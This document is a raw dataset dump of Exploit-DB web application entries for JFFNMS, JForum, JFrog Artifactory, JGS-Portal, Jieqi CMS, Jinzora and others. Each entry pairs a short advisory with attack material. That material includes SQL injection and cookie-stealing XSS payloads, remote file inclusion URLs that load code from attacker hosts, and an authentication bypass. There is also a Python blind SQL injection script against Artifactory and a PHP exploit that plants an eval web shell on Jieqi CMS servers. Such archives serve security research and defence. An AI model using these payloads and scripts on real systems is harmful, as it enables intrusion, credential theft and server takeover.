deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30171
Description: JFFNms 0.8.3 - 'auth.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-06-11
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/24414/info

Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.

These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://www.example.com/auth.php?user='%20union%20select%202,'admin','$1$RxS1ROtX$IzA1S3fcCfyVfA9rwKBMi.','Administrator'/*&pass=
Exploit-DB #30172
Description: JFFNms 0.8.3 - 'auth.php?user' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-11
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/24414/info
 
Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.
 
These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://www.example.com/auth.php?user=[xss]
Exploit-DB #38919
Description: JForum 'adminUsers' Module - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-12-26
Author: arno

Exploit:
source: https://www.securityfocus.com/bid/64540/info

JForum is prone to a cross-site request-forgery vulnerability because the application does not properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. 

http://www.example.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2
Exploit-DB #34441
Description: JForum 2.08 - BBCode Color Tag HTML Injection
Type: webapps
Platform: php
Date: 2010-05-13
Author: Giorgio Fedon

Exploit:
source: https://www.securityfocus.com/bid/42414/info

JForum is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

JForum 2.08 is vulnerable; other versions may also be affected. 

Stored XSS - proof of concept for Firefox ("onMouseOver" is blacklisted):

    [color=red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)']XSS4FF[/color] 


Renders into the following HTML code:

    <font color='red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)'>XSS4FF</font> 



Stored XSS - proof of concept for Internet Explorer ("style" cannot contain parenthesis "(" ):

    [color=red' /style='color:expression(alert(document.cookie))']XSS4IE[/color] 



Renders into the following HTML code:

    <font color='red' /style='color:expression(alert(document.cookie))'>XSS4IE</font>
Exploit-DB #34147
Description: JForum 2.1.8 - 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-06
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/40880/info

JForum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

JForum 2.1.8 is vulnerable; other versions may also be affected.

http://www.example.com/jforum/jforum.page?action=findUser&module=pm&username=â?><script src=â?http://example.org/test.jsâ?></script><div
Exploit-DB #51806
Description: JFrog Artifactory < 7.25.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2024-02-19
Author: ardr

Exploit:
# Exploit Title: artifactory low-privileged blind sql injection
# Google Dork:
# Date: 
# Exploit Author: ardr
# Vendor Homepage:https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection
# Software Link: https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection
# Version: JFrog Artifactory prior to 7.25.4
# Tested on: MySQL
# CVE : CVE-2021-3860

import requests, string, time
from sys import stdout,exit
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# written by 75fc58fa[PII_REDACTED]1d2ff7f68b28259e97ece9bf6cd8be227c70e6a6140314c97d3fdac30b290c6b10d3679c5ba890635a1ca6fa23c83481dfc1257cd062fd
# old script for CVE-2021-3860
# log into artifactory with any user.  there must be populated data in the system.  a fresh install will not work.
# you will need to be able to capture a valid request to the below endpoint in order to run this script.
# once captured, replace the cookies and headers below


warnings.simplefilter('ignore',InsecureRequestWarning)


session = requests.session()
base = input("Please enter the base url: ")
url = f"{base}/ui/api/v1/global-search/bundles/received?$no_spinner=true"
# headers = Replace this with captured headers from the above endpoint 
pos = 1
# cookies = Replace this with captured cookies from the above endpoint 


while True:
    for i in string.digits + '.':
        data={"after": "", "before": "", "direction": "asc", "name": "*", "num_of_rows": 100, "order_by": f"(select*from(select((CASE WHEN (MID(VERSION(),{pos},1) = '{i}') THEN SLEEP(5) ELSE 4616 END)))a)"}
        start = time.time()
        r = session.post(url, headers=headers, cookies=cookies, json=data, verify=False)
        request_time = time.time() - start
        if request_time > 5:
            version += i
            pos += 1
            stdout.write(i)
            stdout.flush()
            break
        if len(version) >= 6:
            stdout.write("\n")
            print(f"Version found: MySQL {version}")
            exit(0)
Exploit-DB #3760
Description: jGallery 1.3 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-18
Author: Dj7xpl

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+                                                  Y! Underground Team                                             +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Portal......:  jGallery 1.3                                                                             +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                                                                +
+          Type........:  Remote File Inclusion Vulnerability                                                      +
+          Dork........:  intitle:"jGallery"                                                                       +
+          Download....:  http://portal.kooijman-design.nl/jGallery/README.html                                    +
+          Page........:  http://Dj7xpl.2600.ir                                                                    +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Bug.........:  http://[Target]/[Path]/index.php?G_JGALL[inc_path]=http://[EvilSite]/Evil.txt%00         +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-18]
Exploit-DB #27307
Description: JGS-Gallery 4.0 - 'Board jgs_galerie_scroll.php?userid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-23
Author: nuker

Exploit:
source: https://www.securityfocus.com/bid/16810/info
 
JGS-Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_galerie_scroll.php?userid=[XSS]
Exploit-DB #27306
Description: JGS-Gallery 4.0 - 'jgs_galerie_slideshow.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-23
Author: nuker

Exploit:
source: https://www.securityfocus.com/bid/16810/info

JGS-Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_galerie_slideshow.php?sid=&katid=&userid=[XSS]
http://www.example.com/jgs_galerie_slideshow.php?sid=&katid=[XSS]&userid=
Exploit-DB #25570
Description: JGS-Portal 3.0.1 - 'ID' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-30
Author: admin@batznet.com

Exploit:
source: https://www.securityfocus.com/bid/13451/info

JGS-Portal is prone to an SQL injection. This issue may potentially be exploited to compromise the software or gain unauthorized access to the database.

The consequences of exploitation will depend on the nature of the vulnerable SQL query and the capabilities of the underlying database implementation. 

http://www.example.com/jgs_portal.php?id='SQL_here
Exploit-DB #25674
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal.php?anzahl_beitraege' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info
 
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal.php?anzahl_beitraege=[SQL-Injection]
Exploit-DB #25675
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_beitraggraf.php?year' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info
  
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal_beitraggraf.php?month=1&year=1[SQL-Injection]
Exploit-DB #25678
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_mitgraf.php?year' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info
     
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
     
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_portal_mitgraf.php?month=1&year=1[SQL-Injection]
Exploit-DB #25679
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_sponsor.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info
      
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
      
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_portal_sponsor.php?id=[SQL-Injection]
Exploit-DB #25673
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_statistik.php?year' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info

JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal_statistik.php?meinaction=mitglieder&month=1&year=1[SQL-Injection]
http://www.example.com/jgs_portal_statistik.php?meinaction=themen&month=1&year=1[SQL-Injection]
http://www.example.com/jgs_portal_statistik.php?meinaction=beitrag&month=1&year=1[SQL-Injection]
Exploit-DB #25677
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_themengraf.php?year' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info
    
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
    
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/jgs_portal_themengraf.php?month=1&year=1[SQL-Injection]
Exploit-DB #25676
Description: JGS-Portal 3.0.1/3.0.2 - 'jgs_portal_viewsgraf.php?tag' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/13650/info
   
JGS-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
Successful exploitation of the SQL injection issues could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/jgs_portal_viewsgraf.php?jahr=1&monat=1&tag=1[SQL-Injection]
Exploit-DB #28034
Description: Ji-takz - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-16
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18474/info

Ji-takz is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage this issue to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

http://www.example.com/path/tag.class.php?mycfg=(H)
Exploit-DB #37139
Description: JibberBook 2.3 - 'Login_form.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2012-05-07
Author: L3b-r1'z

Exploit:
source: https://www.securityfocus.com/bid/53413/info

JibberBook is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass authentication to gain administrative privileges ; this may aid in launching further attacks.

JibberBook 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/Admin/Login_form.php?loggedin=true
Exploit-DB #8725
Description: Jieqi CMS 1.5 - Remote Code Execution
Type: webapps
Platform: php
Date: 2009-05-18
Author: Securitylab.ir

Exploit:
<?php
print_r('
+---------------------------------------------------------------------------+
Jieqi cms <= 1.5 remote code execution exploit
by Securitylab.ir
mail: secu_lab_ir@yahoo.com
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to jieqi cms
Example:
php '.$argv[0].' localhost /
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$url = 'http://'.$host.$path.'mirrorfile.php?filename=cache/seculab.php&action=writetofile&content=';
$shell = 'http://'.$host.$path.'cache/seculab.php';
$cmd = urlencode("<?php @eval(\$_POST[hamed]);?>test");
$str = file_get_contents($url.$cmd);
if ( file_get_contents($shell) == 'test')
exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
exit("Exploit Failed!\n");
?>

# milw0rm.com [2009-05-18]
Exploit-DB #39146
Description: Jigowatt PHP Event Calendar - 'day_view.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-04-14
Author: Daniel Godoy

Exploit:
source: https://www.securityfocus.com/bid/66923/info

Jigowatt PHP Event Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jigowatt PHP Event Calendar 2.16b is vulnerable; other versions may also be affected. 

http://www.example.com/code/calendar/day_view.php?day=23&month=4&year=[SQL injection]
Exploit-DB #2512
Description: Jinzora 2.1 - 'media.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: k1tk4t

Exploit:
##################################################################################
# Jinzora <= 2.1 Remote File Inclusion
# Download Source : http://www.jinzora.com/downloads/j2.1.tar.gz
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   -- #newhack[dot]org
########################################################################
file ;
media.php
########################################################################
bugs ;
// include classes for extending.
       require_once($include_path. 'backend/classes.php');
########################################################################
exmple and methode exploit ;
http://localhost/jinzora2/backend/primitives/cache/media.php?include_path=http://shell/cmd.do?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff)
illibero,NoGe(all member asiahacker), nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-10]
Exploit-DB #2558
Description: Jinzora 2.6 - '/extras/mt.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-14
Author: ddoshomo

Exploit:
#  ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
#  Jinzora 2.6 - Remote File Include Vulnerabilities
 
# site    : Www.Hack-Medya.Org
 
# Script  :  http://www.jinzora.com/downloads/j2.6.zip
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com
 
# Thanks  : Liz0zim, Bitter.Melish, D3ngsz, Rmx, Di_lejyoner, Xoron
 
# Vulnerable :
 
     http://www.site.com/[path]/extras/mt.php?web_root=[shell]

# milw0rm.com [2006-10-14]